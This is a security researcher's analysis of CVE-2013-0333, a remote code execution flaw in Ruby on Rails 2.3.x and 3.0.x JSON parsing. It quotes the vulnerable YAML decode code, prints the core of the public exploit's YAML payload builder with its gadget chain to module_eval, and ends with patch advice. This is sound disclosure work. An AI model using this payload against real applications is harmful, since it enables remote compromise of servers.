CVE-2013-0333 Vulnerability Analysis

CVE-2013-0333 Vulnerability Analysis
By: Tyler Borland, Security Researcher

Basic Details

CVE: CVE-2013-0333
Affects: Ruby on Rails
Versions Affected: 2.3.x, 3.0.x
Not Affected: 3.1.x, 3.2.x, applications using the yajl gem.
Fixed Versions: 3.0.20, 2.3.16
Advisory: https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/1h2DR63ViGo

Technical Details:

Ruby on Rail’s activesupport::JSON includes multiple different parsing libraries for JSON. One of these parsers allows the conversion of JSON to YAML, which is the default backend. The affected source code in yaml.rb involves directly parsing the JSON user input into the YAML parser (example 1).

Example 1 (2.3.8):

#File activesupport/lib/active_support/json/backends/yaml.rb, line 11
11:         def decode(json)
12:           YAML.load(convert_json_to_yaml(json))

13:         rescue ArgumentError => e
14:           raise ParseError, “Invalid JSON string”
15:         end

Example 1 (3.0.9):

# File activesupport/lib/active_support/json/backends/yaml.rb, line 18
18:      def decode(json)
19:        if json.respond_to?(:read)
20:          json = json.read
21:        end
22:        YAML.load(convert_json_to_yaml(json))
23:      rescue *EXCEPTIONS => e
24:        raise ParseError, “Invalid JSON string: ‘%s'” % json
25:      end

As the bolded line show us, the arbitrary user controlled JSON gets converted to YAML with only JSON->YAML token     conversion. That means no validation that the JSON is valid and no filtering aside from the basic JSON->YAML conversions. This allows an attacker to craft a POST request with data to manipulate the YAML parser to allow for remote code execution.

The public exploit is very simple to use. It creates a POST request with an attack string built like:

[code]

escaped_payload = “foo\nend\n#{payload}\n__END__\n”
encoded_payload = escaped_payload.to_yaml.sub(‘— ‘,”).chomp

yaml = %{
— !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/struct
defaults:
:action: create
:controller: foos
required_parts: [] requirements:
:action: create
:controller: foos
segment_keys:
– :format
}.strip

encoded_yaml = yaml.gsub(‘:’,’\u003a’)

[/code]

The exploit code is the most interesting part of all of this. You have to have JSON that survives the semi-YAML conversion (such as the :) and will still allow code execution.

!ruby/hash:<class> allows an arbitrary class to be used with whatever parameters. Here we see the ActionController::Routing::RouteSet::NamedRouteCollection class being used. This class follows a fairly long call chain until it reaches the module_eval function allowing our arbitrary code execution. Before that, we need to make sure we can reach the module_eval function, which requires satisfying the prior calls. To do this there is a struct setup with !ruby/struct that satisfies the route class. Finally, certain things need to be modified to survive the JSON to YAML conversions. The __END__ is used to treat the rest of the input as inline data. Then the colons are converted to different encoding equivalents. Conversions of the colons are different for different versions of ruby. You have %3a, \x3a, and \u003a.

Public exploits exist here https://gist.github.com/4660248 and this proof of concept has already been converted into a metasploit module. A patch has been release for affected versions. To prevent yourself from future YAML vulnerabilities it would be recommended that you switch to the safe_YAML gem.